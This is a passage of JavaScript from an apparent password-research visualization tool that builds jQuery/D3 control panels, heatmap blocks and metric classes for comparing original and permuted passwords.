id = id.replace("-show-hide-data-btn", "");
console.log(id)
thisObj.triggerHideData( id );
});
},
enumerable: true,
configurable: true,
writable: true
},
createAboutPanel: {
value: function() {
var thisObj = this;
var parent = "#" + thisObj.parentKey;
// About this dataset panel
$( parent + ' .controls-filedata' ).append('<div class="panel-group controls-filedata" id="accordion"><div class="panel panel-default"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="" class="about-dataset-' + thisObj.parentKey + '" href="#about-dataset-' + thisObj.parentKey + '"></a></h4></div><div id="about-dataset-' + thisObj.parentKey + '" class="panel-collapse collapse in"><div class="panel-body about-dataset-container"><table class="table table-hover about-dataset-holder"></table></div></div></div></div>');
var classname = '.about-dataset-' + thisObj.parentKey;
if( thisObj.mode == "default") {
var dataset = thisObj.dataset.getData();
$( classname ).html('About this dataset');
// File displayed
$( parent + ' .about-dataset-holder').append('<tr><th>File displayed:<td id="fileDisplayed">' + thisObj.dataKey + '</td></tr>');
// Number of passwords
$( parent + ' .about-dataset-holder').append('<tr><th>Number of passwords:<td id="numPasswords">' + dataset.length + '</td></tr>');
} else if ( thisObj.mode == "parcoords" ) {
var data = thisObj.dataset[0].getData();
$( classname ).html('About this dataset');
// File displayed
$( parent + ' .about-dataset-holder').append('<tr><th>File displayed:<td id="fileDisplayed">' + thisObj.dataKey + '</td></tr>');
// Number of passwords
$( parent + ' .about-dataset-holder').append('<tr><th>Number of passwords:<td id="numPasswords">' + data.length + '</td></tr>');
} else if ( thisObj.mode == "parcoords-overview" ) {
$( classname ).html('About dataset(s)');
classname = '#about-dataset-' + thisObj.parentKey;
} else {
$( classname ).html('About dataset(s)');
}
},
enumerable: true,
configurable: true,
writable: true
},
createFilterRankPanels: {
value: function( thisObj ) {
var thisObj = this;
var parent = "#" + thisObj.parentKey;
// Filter
$( parent + ' .controls-controls' ).prepend('<div class="panel panel-default" data-toggle="tooltip" title="Click and drag the sliders left and right to filter rows of passwords based on their metric value." data-placement="top"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="" href="#filter-dataset-' + thisObj.parentKey + '" > Filter </a></h4></div><div id="filter-dataset-' + thisObj.parentKey + '" class="panel-collapse collapse"><div class="panel-body"><div class="container-fluid filter-holder" ></div></div></div></div>');
// Rank
$( parent + ' .controls-controls' ).prepend('<div class="panel panel-default" data-toggle="tooltip" title="Click any metric name to rank rows of passwords by that metric" data-placement="top"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="" href="#rank-dataset-' + thisObj.parentKey + '">Rank by</a></h4></div><div id="rank-dataset-' + thisObj.parentKey + '" class="panel-collapse collapse"><div class="panel-body"><div class="button-group rank-holder" data-toggle="buttons"></div></div></div></div>');
},
enumerable: true,
configurable: true,
writable: true
},
createAppearancePanels: {
value: function() {
var thisObj = this;
var parent = "#" + thisObj.parentKey;
//Bundling and Smoothness controls
$( parent + ' .controls-controls' ).prepend('<div class="panel panel-default" data-toggle="tooltip" title="Click and drag the sliders left and right to adjust bundling and smoothness of lines." data-placement="top"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="" href="#bundling-dataset-' + thisObj.parentKey + '" > Appearance </a></h4></div><div id="bundling-dataset-' + thisObj.parentKey + '" class="panel-collapse collapse"><div class="panel-body"><div class="container-fluid bundling-holder" ></div></div></div></div>');
$( parent + ' .bundling-holder').append('<h5>Smoothness <span id="smoothness-value">0.2</span></h5><div id="smoothness"></div><br>');
$( parent + ' .bundling-holder').append('<h5>Bundling <span id="bundling-value">0.5</span></h5><div id="bundling"></div><br>');
// Bundling/smoothness: Activate sliders
$(parent + " #smoothness").empty().slider({
orientation: "horizontal",
value: 0.2,
min: 0,
max: 0.25,
step: 0.01,
range: "min",
animate: true,
slide: function( event, ui ) {
thisObj.updateSmoothness( ui.value );
var labelID = "#smoothness-value";
$( parent + " " + labelID).html(ui.value);
}
});
// Bundling/smoothness: Activate sliders
$(parent + " #bundling").empty().slider({
orientation: "horizontal",
value: 0.5,
min: 0,
max: 1,
step: 0.05,
range: "min",
animate: true,
slide: function( event, ui ) {
thisObj.updateBundling( ui.value );
var labelID = "#bundling-value";
$( parent + " " + labelID).html(ui.value);
}
});
// Bundle by
$( parent + ' .bundling-holder').append('<h5>Bundle by</h5><div class="btn-group-vertical navbar-btn" id="bundleBy-menu" role="group" aria-label="..."></div>');
// Color by
$( parent + ' .bundling-holder').append('<h5>Color by</h5><div class="btn-group-vertical navbar-btn" id="colorBy-menu" role="group" aria-label="..."></div>');
},
enumerable: true,
configurable: true,
writable: true
},
createShowHidePanel: {
value: function( thisObj ) {
var thisObj = this;
var parent = "#" + thisObj.parentKey;
// Show / hide columns
$( parent + ' .controls-controls' ).prepend('<div class="panel panel-default" data-toggle="tooltip" title="Click any metric name to hide that metric column" data-placement="top"><div class="panel-heading"><h4 class="panel-title"><a data-toggle="collapse" data-parent="" href="#show-dataset-' + thisObj.parentKey + '"> Show/Hide Columns </a></h4></div><div id="show-dataset-' + thisObj.parentKey + '" class="panel-collapse collapse"><div class="panel-body"><div class="button-group hide-columns-holder showHide-input-holder" data-toggle="buttons"></div></div></div></div></div>');
$( parent + ' .controls-controls' ).prepend('<h3>Controls</h3>');
},
enumerable: true,
configurable: true,
writable: true
},
addFilterSliders: {
value: function( metricName, thisObj ) {
var thisObj = this,
parent = "#" + thisObj.parentKey,
metricObj = thisObj.metricSet.metrics[metricName],
metricLabel = metricObj.label,
sliderlabelid = metricName + '-sliderRange'
sliderid = metricName;;
// Filter
var html = '<div class="row"><div class="col-sm-12"><h5>' + metricLabel + ': <span id="' + sliderlabelid + '" ></h5></div><div class="col-sm-12"><div id="' + sliderid + '" style="" class="slider"></div></div></div>';
$( parent + ' .filter-holder').append(html);
// Retrieve min and max of metric domain
if(thisObj.mode == "heatmap-overview"){
var min = Math.round(metricObj.domainVal["global"].min * 100)/100,
max = Math.round(metricObj.domainVal["global"].max * 100)/100;
} else {
var min = Math.round(metricObj.domainVal[thisObj.dataKey].min * 100)/100,
max = Math.round(metricObj.domainVal[thisObj.dataKey].max * 100)/100;
}
var id = "#"+sliderlabelid;
$( parent + " " + id).append( min + " - " + max);
id = parent + " " + '#' + sliderid;
// Filter: Activate sliders
$(id).empty().slider({
orientation: "horizontal",
range: true,
min: min,
max: max,
values: [min,max],
animate: true,
slide: function( event, ui ) {
var metricName = $(event.target).attr("id");
thisObj.filterPasswords( metricName, ui.values );
var labelID = "#" + metricName + "-sliderRange";
$( parent + " " + labelID).html(ui.values[0] + " - " + ui.values[1]);
}
});
},
enumerable: true,
configurable: true,
writable: true
},
addRankByButton: {
value: function( metricName, thisObj ) {
var parent = "#" + thisObj.parentKey,
metricObj = thisObj.metricSet.metrics[metricName],
metricLabel = metricObj.label;
// Rank by
$( parent + ' .rank-holder').append('<label class="sortBtn btn btn-xs btn-default btn-block"><input type="radio" name="options" id="' + metricName + '">' + metricLabel + '</label>');
},
enumerable: true,
configurable: true,
writable: true
},
addBundleByControl: {
value: function( metricName, thisObj ) {
var parent = "#" + thisObj.parentKey,
metricObj = thisObj.metricSet.metrics[metricName],
metricLabel = metricObj.label;
// Bundle by
$( parent + ' #bundleBy-menu').append('<button class="btn btn-default btn-sm" href="#" role="button" data="' + metricName + '" id="bundle-' + metricName + '" href="bundle-' + metricName + '">' + thisObj.metricSet.metrics[metricName].label + '</button>')
// Color by
$( parent + ' #colorBy-menu').append('<button class="btn btn-default btn-sm" href="#" role="button" data="' + metricName + '" id="color-' + metricName + '" href="view-' + metricName + '">' + thisObj.metricSet.metrics[metricName].label + '</button>')
var name = parent + " #bundle-" + metricName;
$( name ).on("click", function(e){
e.preventDefault();
var metricName = $(e.target).attr("data");
thisObj.bundleBy( metricName );
});
name = parent + " #color-" + metricName;
$( name ).on("click", function(e){
e.preventDefault();
var metricName = $(e.target).attr("data");
thisObj.colorBy( metricName );
});
},
enumerable: true,
configurable: true,
writable: true
},
addShowHideControl: {
value: function( metricName , thisObj ) {
var parent = "#" + thisObj.parentKey,
metricObj = thisObj.metricSet.metrics[metricName],
metricLabel = metricObj.label;
var activeVal = "";
if( thisObj.metricSet.isVisible( metricName , thisObj.dataKey , thisObj.visualizationKey ) ) { activeVal = "active"; }
$( parent + ' .hide-columns-holder' ).append( '<label class="btn btn-xs btn-block btn-default ' + activeVal + ' hide-column-btn" id="' + metricName + '-hide-column" style="margin:0px;"><input type="checkbox">' + metricLabel + '</label>' );
},
enumerable: true,
configurable: true,
writable: true
},
addHideDataControl: {
value: function () {
var parent = "#" + this.parentKey;
$(parent + ' .about-dataset-holder').html('');
for(var i = 0; i < this.dataset.length; i++){
$( parent + ' .about-dataset-holder').append('<tr><th>'+ this.dataset[i].getName() +'<td><div class="btn-group about-dataset-toggle-group" data-toggle="buttons"><label class="btn btn-default btn-xs active show-hide-data-btn" id="' + i + '-show-hide-data-btn"><input type="checkbox" autocomplete="off" checked> toggle view </label></div></td></tr>');
}
},
enumerable: true,
configurable: true,
writable: true
},
addDataControl : {
value: function() {
var parent = "#" + this.parentKey;
console.log(this);
$(parent + ' .about-dataset-holder').html('');
for(var i = 0; i < this.dataset.length; i++){
var data = this.dataset[i].getData();
$( parent + ' .about-dataset-holder').append('<tr><th>'+ this.dataset[i].getName() +'<td><b># passwords:</b> ' + data.length + '</td></tr>');
}
},
enumerable: true,
configurable: true,
writable: true
},
drawLabels: {
value: function () {
var thisObj = this;
var svg = thisObj.svg.obj;
var x = thisObj.grid.margin.left;
var parent = "#" + thisObj.parentKey;
$( parent + "#Controls-svg-container").append('<h3>Breakdown</h3>');
// Create labels for columns
// Each category has <g>
var breakdownLabel = svg.selectAll(".breakdownLabel")
.data(thisObj.orderedMetrics)
.enter().append("g").attr("class", function(d, i){
return d.name + i + " breakdownLabel";
});
svg.append("text")
.text("Original")
.attr("transform", function(){
return "translate(" + (x + (thisObj.grid.size.width * .5)) + ", " + (thisObj.grid.margin.top - 25) + ")rotate(-70)";
})
.attr("class", function(){
return "mono";
});
svg.append("text")
.text("Permuted")
.attr("transform", function(){
return "translate(" + (x + (thisObj.grid.size.width * 4)) + ", " + (thisObj.grid.margin.top - 25) + ")rotate(-70)";
})
.attr("class", function(){
return "mono";
});
svg.append("text")
.text("Permuted")
.attr("font-weight", "bolder")
.attr("transform", function(){
return "translate(" + (x + (thisObj.grid.size.width * 3) - (thisObj.grid.size.width/2)) + ", " + (thisObj.grid.margin.top - 7) + ")";
})
.attr("class", function(){
return "mono permuted";
});
svg.append("text")
.style("text-anchor", "end")
.text("Original")
.attr("font-weight", "bolder")
.attr("transform", function(){
return "translate(" + (x + (thisObj.grid.size.width * 1.8) - (thisObj.grid.size.width/2)) + ", " + (thisObj.grid.margin.top - 7) + ")";
})
.attr("class", function(){
return "mono original";
});
// svg.append("text")
// .text("Change")
// .attr("transform", function(){
// return "translate(" + (x + (thisObj.grid.size.width * 6)) + ", " + (thisObj.grid.margin.top - 5) + ")rotate(-70)";
// })
// .attr("class", function(){
// return "mono";
// });
var draw = function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var svg = thisObj.svg.obj;
var leftMargin = thisObj.grid.margin.left;
var topMargin = thisObj.grid.margin.top;
var name = metricName;
var className = "." + thisObj.orderedMetrics[categoryIndex].name + categoryIndex;
var label = svg.selectAll(className);
if(thisObj.metricSet.metrics[name].permuted.type != "permuted"){
label.append("text")
.text(function() {
return thisObj.metricSet.metrics[name].label;
})
.style("text-anchor", "end")
.attr("transform", function() {
return "translate(" + (leftMargin - 20) + ", " + ((thisObj.grid.size.height * (currentMetricIndex + categoryIndex))+ topMargin + (thisObj.grid.size.height * .75)) + "), rotate(0)";
})
.attr("class", function(d, i){return "breakdownlabel-"+ name +" mono "+ name + " new"+name + " breakdownlabel-new"+ name });
label.append("text")
.text(function() {
return " 0 ";
})
.style("text-anchor", "middle")
.attr("transform", function() {
return "translate(" + ((leftMargin - 1) ) + ", " + ((thisObj.grid.size.height * (currentMetricIndex+ categoryIndex))+ topMargin + (thisObj.grid.size.height * .75)) + "), rotate(0)";
})
.attr("class", function(){return "breakdown-holder-"+name+" mono "+name});
} else {
label.append("text")
.text(function() {
return " 0 ";
})
.style("text-anchor", "middle")
.attr("transform", function(d , i) {
var x = ((leftMargin - 1) + (thisObj.grid.size.width * 4))
var padding = (thisObj.grid.size.height * .75);
var gridHeight = thisObj.grid.size.height;
var offsetIndex = (nonPermutedMetricCount) - ( ( currentMetricIndex - nonPermutedMetricCount ) + ( categoryIndex) );
var offset = gridHeight * offsetIndex;
var y = (offset + topMargin + padding);
return "translate(" + x + ", " + y + "), rotate(0)";
})
.attr("class", function(){return "breakdown-holder-"+name+" mono "+name});
}
};
thisObj.draw( draw );
thisObj.draw( thisObj.populateValues , 1 , 0 );
},
enumerable: true,
configurable: true,
writable: true
},
drawBlocks: {
value: function () {
var thisObj = this;
var svg = thisObj.svg.obj;
var leftMargin = thisObj.grid.margin.left;
var topMargin = thisObj.grid.margin.top;
// Create labels for blocks
var breakdownBlocks = svg.selectAll(".breakdownBlock")
.data(thisObj.orderedMetrics)
.enter().append("g").attr("class", function(d, i){
return d.name + i + "-block";
});
var draw = function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var className = "." + thisObj.orderedMetrics[categoryIndex].name + categoryIndex + "-block";
var block = svg.selectAll(className);
var permutedFlag = false;
if(thisObj.metricSet.metrics[metricName].permuted.type != "permuted"){
block.append("rect").text(function(d,i){
return
})
.attr( "width", thisObj.grid.size.width )
.attr( "height", thisObj.grid.size.height )
.attr("transform", function(){
return "translate(" + ((leftMargin - 1) + thisObj.grid.size.width) + ", " + ((thisObj.grid.size.height * (currentMetricIndex+ categoryIndex))+ topMargin) + "), rotate(0)";
})
.attr("class", function(){return "block-"+ metricName});
// Draw permuted block
} else {
block.append("rect").text(function(d,i){
return
})
.attr( "width", thisObj.grid.size.width )
.attr( "height", thisObj.grid.size.height )
.attr("transform", function(){
var x = ((leftMargin - 1) + (thisObj.grid.size.width * 2))
var padding = 0;
var gridHeight = thisObj.grid.size.height;
// Nonpermuted - ( current Permuted index + gutter )
var offsetIndex = (nonPermutedMetricCount) - ( ( currentMetricIndex - nonPermutedMetricCount ) + ( (categoryIndex) ) );
var offset = gridHeight * offsetIndex;
var y = (offset + topMargin + padding);
return "translate(" + x + ", " + y + "), rotate(0)";
})
.attr("class", function(){return "block-"+metricName});
}
}
thisObj.draw( draw );
thisObj.draw( thisObj.colorBlocks , 1 );
},
enumerable: true,
configurable: true,
writable: true
},
hover: {
value: function ( metricName , type , selector , row , datasetIndex ) {
this.datasetIndex = datasetIndex;
if( row ){
this.draw( this.populateValues , row );
this.draw( this.colorBlocks , row );
this.boldLabels( metricName , type );
if ( thisObj.mode == "heatmap-overview" ) {
$().html();
}
}
},
enumerable: true,
configurable: true,
writable: true
},
populateValues: {
value: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var svg = thisObj.svg.obj;
if ( thisObj.mode == "heatmap-overview" ) {
var dataset = thisObj.dataset[thisObj.datasetIndex].getData();
} else {
var dataset = thisObj.dataset.getData();
}
var data = dataset[selector];
var rowClass = ".breakdown-holder-" + metricName ;
var rowObj = svg.selectAll(rowClass);
rowObj.text( function( ){ return Math.floor(data[ metricName ]); });
var password = svg.selectAll(".original");
password.text( function( ){ return data[ "originalPassword" ]; } );
password = svg.selectAll(".permuted");
password.text( function( ){ return data[ "permutedPassword" ]; } );
},
enumerable: true,
configurable: true,
writable: true
},
boldLabels: {
value: function ( metricName , type ) {
var thisObj = this;
var svg = this.svg.obj;
var columnClass = "." + metricName ;
var svgObj = svg.selectAll(columnClass);
var allObj = svg.selectAll("text");
var labelClass = ".breakdownlabel-" + metricName;
var labelObj = svg.selectAll(labelClass);
if( type == "mouseover" ) {
svgObj.attr("font-weight" , "900").style("fill", "#F00");
var text = labelObj.text();
labelObj.text(" ");
labelObj.text(function(){
return " ☞ " + text;
});
} else {
svgObj.attr("font-weight" , "lighter").style("fill", "#000");;
var text = labelObj.text();
text = text.substring(3, text.length);
labelObj.text(" ");
labelObj.text(function(){
return text;
});
}
},
enumerable: true,
configurable: true,
writable: true
},
colorBlocks: {
value: function ( thisObj , gutterCount , metricIndex , metricName, currentMetricIndex , categoryIndex , nonPermutedMetricCount , selector , x ) {
var svg = thisObj.svg.obj;
if ( thisObj.mode == "heatmap-overview" ) {
var dataset = thisObj.dataset[thisObj.datasetIndex].getData();
var dataKey = thisObj.dataset[thisObj.datasetIndex].getName();
} else {
var dataset = thisObj.dataset.getData();
var dataKey = thisObj.dataKey;
}
var data = dataset[selector];
var rowClass = ".block-" + metricName ;
var rowObj = svg.selectAll(rowClass);
var colorScale = thisObj.metricSet.getNormalColorScale( metricName , dataKey , thisObj.visualizationKey );
rowObj.style( "fill", function( d , i ){ return colorScale( data[ metricName ]) });
rowClass = "." + metricName ;
rowObj = svg.selectAll(rowClass);
rowObj.attr()
},
enumerable: true,
configurable: true,
writable: true
},
filterPasswords: {
value: function ( metricName, values ) {
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].filterPasswords ) {
this.connectedTiers[i].filterPasswords( metricName, values );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
sortPasswords: {
value: function ( metricName ) {
if(this.mode == "heatmap-overview"){
for(var i = 0; i < (this.dataset.length); i++){
this.dataset[i].sortData( metricName );
}
} else {
this.dataset.sortData( metricName );
}
// Color blocks for connected tiers
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].visualize ) {
this.connectedTiers[i].visualize();
console.log("visualize " + i);
}
}
},
enumerable: true,
configurable: true,
writable: true
},
hideColumns: {
value: function ( metricName ) {
},
enumerable: true,
configurable: true,
writable: true
},
triggerHideData: {
value: function ( dataIndex ) {
console.log("triggerHideData")
console.log( dataIndex )
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].brushData ) {
this.connectedTiers[i].brushData( dataIndex );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
triggerHideColumns: {
value: function ( metricName ) {
var thisObj = this,
visible;
if( this.metricSet.isVisible (metricName , this.dataKey , this.visualizationKey ) ){
visible = false;
} else {
visible = true;
}
thisObj.metricSet.setVisibility( metricName , this.dataKey , this.visualizationKey , visible );
thisObj.hideColumns( metricName );
// Color blocks for connected tiers
for(var i = 0; i < thisObj.connectedTiers.length; i++){
if( thisObj.connectedTiers[i].hideColumns ) {
thisObj.connectedTiers[i].hideColumns( metricName );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
updateSmoothness: {
value: function ( value ) {
// Color blocks for connected tiers
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].updateSmoothness ) {
this.connectedTiers[i].updateSmoothness( value );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
updateBundling: {
value: function ( value ) {
// Color blocks for connected tiers
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].updateBundling ) {
this.connectedTiers[i].updateBundling( value );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
bundleBy: {
value: function ( metricName ) {
// Color blocks for connected tiers
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].bundleBy ) {
this.connectedTiers[i].bundleBy( metricName );
}
}
},
enumerable: true,
configurable: true,
writable: true
},
colorBy: {
value: function ( metricName ) {
// Color blocks for connected tiers
for(var i = 0; i < this.connectedTiers.length; i++){
if( this.connectedTiers[i].colorBy ) {
this.connectedTiers[i].colorBy( metricName );
}
}
},
enumerable: true,
configurable: true,
writable: true
}
} );
Controls.prototype.constructor = Controls;
var types = {
"HeatmapTier1": HeatmapTier1,
"HeatmapTier2": HeatmapTier2,
"Controls": Controls,
"Parcoords": Parcoords
};
/** Create visualization tier (module) */
this.create = function( type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode ){
if( types[type] ){
var tier = types[type];
if( mode ) {
return new tier(type , dataKey , key , dataset , visualizationKey , metricSet , parentKey , mode );
} else {
return new tier(type , dataKey , key , dataset , visualizationKey , metricSet , parentKey );
}
}
};
return {
create: create
};
})();
/* Public Methods */
/** Create visualization instance */
this.create = function( dataKey , visualizationKey , dataset, config , metricSet ){
return new VisualizationInstance( dataKey , visualizationKey , dataset , config , metricSet );
};
return {
create: create
};
})();
/** Templates for metric operations */
this.metric = ( function(){
/* Private Methods */
// Holds metric type data
// Defined in USG-constants file
// USG.constants.metric
var METRIC_PROP = constants.metric;
/** Class MetricSet:Holds a metric and associated specifications for that metric. */
this.MetricSet = function( ){
this.metrics = {};
this.metricList = [];
this.categories = [];
this.orderedMetricsList; // All metrics in symmetrical order
this.orderedPairedMetricsList; // All metrics with pairs in symmetrical order
this.singleMetricsList; // All singleton metrics ( not ordered )
this.count = {};
var init = function (thisObj) {
thisObj.categories[ "uncategorized" ] = new Category ( "uncategorized" );
};
init(this);
};
MetricSet.prototype = {
addMetric: function ( type ) {
thisObj = this;
// Check if metric exists
if ( !this.metrics[ type ] ) {
// Create metric
var thisMetric = this.metrics[ type ] = new MetricInstance( type );
thisObj.metricList.push( thisMetric );
// If has category type, add to that category
if ( thisMetric.category && thisMetric.category.name ) {
// Create a category, if doesn't exist
if( !thisObj.categories[ thisMetric.category.name ] ){
thisObj.categories[ thisMetric.category.name ] = new Category( thisMetric.category.name , thisMetric.permuted );
}
// Add metric to that category
thisObj.categories[ thisMetric.category.name ].add( thisMetric );
// Add to "uncategorized"
} else {
console.log("uncategorized")
thisObj.categories[ "uncategorized" ].add( thisMetric );
}
}
},
// Set domain for all metrics
setDomains: function ( dataset , dataLocation ) {
thisObj = this;
for( var prop in thisObj.metrics ){
// Set domain for specific dataset
thisObj.metrics[ prop ].setDomain( dataset , dataLocation );
}
},
setDefaultVisibility: function ( key , visualizationKey , mode) {
var thisObj = this;
for( var prop in thisObj.metrics ){
// Set domain for specific dataset
thisObj.metrics[ prop ].setVisibility( key , visualizationKey , true );
}
if( !mode && mode != "parcoords" && visualizationKey != "parcoords-overview" ){
thisObj.setCategoryVisibility( "lpd" , key , visualizationKey , false );
thisObj.setCategoryVisibility( "passwordStructure" , key , visualizationKey , false );
thisObj.setCategoryVisibility( "entropySummary" , key , visualizationKey , false );
thisObj.setCategoryVisibility( "Dataset" , key , visualizationKey , false );
thisObj.setVisibility( "lpd" , key , visualizationKey , true );
thisObj.setVisibility( "newlpd" , key , visualizationKey , true );
}
},
setCategoryVisibility: function ( categoryName , key , visualizationKey , visible ) {
var thisObj = this;
if( thisObj.categories[ categoryName ] ){
var category = thisObj.categories[ categoryName ];
for( var prop in category.metrics ){
// Set domain for specific dataset
category.metrics[ prop ].setVisibility( key , visualizationKey , visible );
}
}
},
hasMetric: function ( type ) {
if(this.metrics[ type ]){
return true;
}
return false;
},
getExtent: function ( key , visualizationKey , type ){
return this.metrics[ type ].getDomain( key , visualizationKey );
},
getCount: function ( key , visualizationKey, type ) {
if( visualizationKey == "global" ) {
if( this.count[ visualizationKey ] ) {
if( type == "visible" ){
return this.count[ visualizationKey ].visible;
} else {
return this.count[ visualizationKey ].total;
}
}
} else {
if( this.count[ key ][ visualizationKey ] ) {
if( type == "visible" ){
return this.count[ key ][ visualizationKey ].visible;
} else {
return this.count[ key ][ visualizationKey ].total;
}
}
}
console.log("Count for " + visualizationKey + ", " + type + " not set.")
},
changeCount: function ( key , visualizationKey , type , increase ) {
if( increase ) {
var increment = 1;
} else {
var increment = -1;
}
if( this.count[ key ][ visualizationKey ] ) {
if( type == "visible" ){
this.count[ key ][ visualizationKey ].visible += increment;
} else {
this.count[ key ][ visualizationKey ].total += increment;
}
}
},
getOrderedMetrics: function ( key , visualizationKey ) {
this.orderCategories( key , visualizationKey );
return this.orderedMetricsList;
},
getOrderedPairedMetrics: function ( key , visualizationKey ) {
this.orderCategories( key , visualizationKey );
return this.orderedPairedMetricsList;
},
getSingleMetrics: function ( key , visualizationKey ) {
this.orderCategories( key , visualizationKey );
return this.singleMetricsList;
},
orderCategories: function ( key , visualizationKey ) {
var categoryArray = []; // Used for sorting categories by size
var categoriesToBeAdded = []; // Holds categories that don't have permuted pairs
this.orderedCategories = []; // Ordered metric array
this.orderedMetricsList = [];
this.orderedPairedMetricsList = [];
this.singleMetricsList = [];
if( !this.count[key] ){
this.count[key] = {};
}
var totalCount = 0;
var visibleCount = 0;
// Add categories to an array to be sorted
for(var prop in this.categories){
categoryArray.push( [ prop , this.categories[ prop ] ] );
}
// Sort categories from smallest to largest
categoryArray.sort(function(a, b){
var a = a[1];
var b = b[1];
return a.metricOrder.length - b.metricOrder.length;
});
// Start with the largest category and add to the array
// Add metrics with permuted pairs first
// Original metrics
for( var i = categoryArray.length - 1; i > 0 ; i-- ) {
// Add original
if( categoryArray[i][1].isPermuted ){
var obj = categoryArray[i][1];
var metricArray = [];
for(var j = 0; j < obj.metricsOriginal.length; j++){
if(obj.metrics[ obj.metricOrder[ j ] ].dataType != "String"){
metricArray.push( obj.metricsOriginal[ j ] );
this.orderedMetricsList.push( obj.metricsOriginal[ j ] );
this.orderedPairedMetricsList.push( obj.metricsOriginal[ j ] );
totalCount++;
if( obj.metrics[ obj.metricOrder[ j ] ].isVisible( key , visualizationKey ) ){
visibleCount++;
}
}
}
// Add category
this.orderedCategories.push( {name: obj.name, metrics: metricArray } );
} else {
categoriesToBeAdded.push( categoryArray[i] );
}
}
// Add metrics without permuted pairs
for( var i = 0; i < categoriesToBeAdded.length; i++ ) {
if(!categoriesToBeAdded[i][1].allString){
// Add metrics
var obj = categoriesToBeAdded[i][1];
var metricArray = [];
for(var j = 0; j < obj.metricOrder.length; j++){
if(obj.metrics[ obj.metricOrder[ j ] ].dataType != "String"){
metricArray.push( obj.metricOrder[ j ] );
this.orderedMetricsList.push( obj.metricOrder[ j ] );
this.singleMetricsList.push( obj.metricOrder[ j ] );
totalCount++;
if( obj.metrics[ obj.metricOrder[ j ] ].isVisible( key , visualizationKey ) ){
visibleCount++;
}
}
}
// Add category
this.orderedCategories.push( {name: obj.name, metrics: metricArray } );
}
}
// Add metrics with permuted pairs again
// Permuted metrics
for( var i = 0; i < categoryArray.length ; i++ ) {
// Add permuted
if( categoryArray[i][1].isPermuted ){
var obj = categoryArray[i][1];
var metricArray = [];
for(var j = obj.metricsPermuted.length-1; j > -1 ; j--){
if(obj.metrics[ obj.metricOrder[ j ] ].dataType != "String"){
metricArray.push( obj.metricsPermuted[ j ] );
this.orderedMetricsList.push( obj.metricsPermuted[ j ] );
this.orderedPairedMetricsList.push( obj.metricsPermuted[ j ] );
totalCount++;
if( obj.metrics[ obj.metricOrder[ j ] ].isVisible( key , visualizationKey ) ){
visibleCount++;
}
}
}
// Add category
this.orderedCategories.push( {name: obj.name, metrics: metricArray } );
}
}
if( visualizationKey == "global" ){
this.count[visualizationKey] = {
visible: visibleCount,
total: totalCount
};
} else {
this.count[key][visualizationKey] = {
visible: visibleCount,
total: totalCount
};
}
return this.orderedCategories;
},
isString: function ( type ) {
if( this.metrics[ type ][ "dataType" ] == "String") {
return true;
} else {
return false;
}
},
isPermuted: function ( type ) {
if( this.metrics[ type ].permuted ) {
return true;
} else {
return false;
}
},
setColorScheme: function ( dataKey, visualizationKey , colorscheme ) {
for( var prop in this.metrics ){
this.metrics[ prop ].setColorScheme( dataKey , visualizationKey , colorscheme );
}
},
getNormalColorScale: function ( metricName , dataKey , visualizationKey ) {
return this.metrics[ metricName ].getNormalColorScale( dataKey , visualizationKey );
},
getHighlightColorScale: function ( metricName , dataKey , visualizationKey ) {
return this.metrics[ metricName ].getHighlightColorScale( dataKey , visualizationKey );
},
getZscoreColorScale: function ( metricName , dataKey , visualizationKey ) {
return this.metrics[ metricName ].getZscoreColorScale( dataKey , visualizationKey );
},
setVisibility: function ( metricName , dataKey , visualizationKey , visible ) {
this.metrics[ metricName ].setVisibility( dataKey , visualizationKey , visible );
if(!this.count[ dataKey ]){
this.orderCategories( dataKey , visualizationKey );
}
this.changeCount( dataKey , visualizationKey , "visible" , visible );
},
isVisible: function ( metricName , dataKey , visualizationKey ) {
return this.metrics[ metricName ].isVisible( dataKey , visualizationKey );
}
};
var Category = function ( name , permuted ) {
this.name = name;
this.metrics = {};
this.metricOrder = [];
this.metricsOriginal = [];
this.metricsPermuted = [];
if( permuted ){
this.isPermuted = true;
} else {
this.isPermuted = false;
}
}
Category.prototype = {
add: function ( metric ) {
thisObj = this;
// Add metric to global list
thisObj.metrics[ metric.key ] = metric;
if ( metric.permuted && (metric.category.index || metric.category.index == 0) ) {
if( metric.permuted.type === "original" ){
// insert into original
thisObj.metricsOriginal[ metric.category.index ] = metric.key;
} else {
// insert into permuted
thisObj.metricsPermuted[ metric.category.index ] = metric.key;
}
}
if(metric.category && METRIC_PROP.CATEGORY_TYPES[metric.category.name] && METRIC_PROP.CATEGORY_TYPES[metric.category.name].allString == true ){
thisObj.allString = true;
} else {
thisObj.allString = false;
}
var lastPosition = this.metricOrder.length;
this.metricOrder[ lastPosition ] = metric.key;
}
};
// Class MetricInstance
/** Defines a metric and its properties used in visualization. */
this.MetricInstance = function( type ){
if( type ){
this.label;
this.dataType;
this.domainType;
this.visualizationType = {};
this.domainVal = {
global: {}
};
this.key = type;
this.colorScale = {
global: {}
};
this.visible = {
global: {}
}
var rPermuted = /(new)/g;
var label = ""; // Holds "new" if metric identified as permuted
var permutedData = {
type: "original"
};
if ( type.match( rPermuted ) ) {
type = type.replace(rPermuted, "");
label = "New ";
permutedData = {
type: "permuted"
}
}
// If metric type exists in USG.constants
if( METRIC_PROP.METRIC_TYPES[ type ]) {
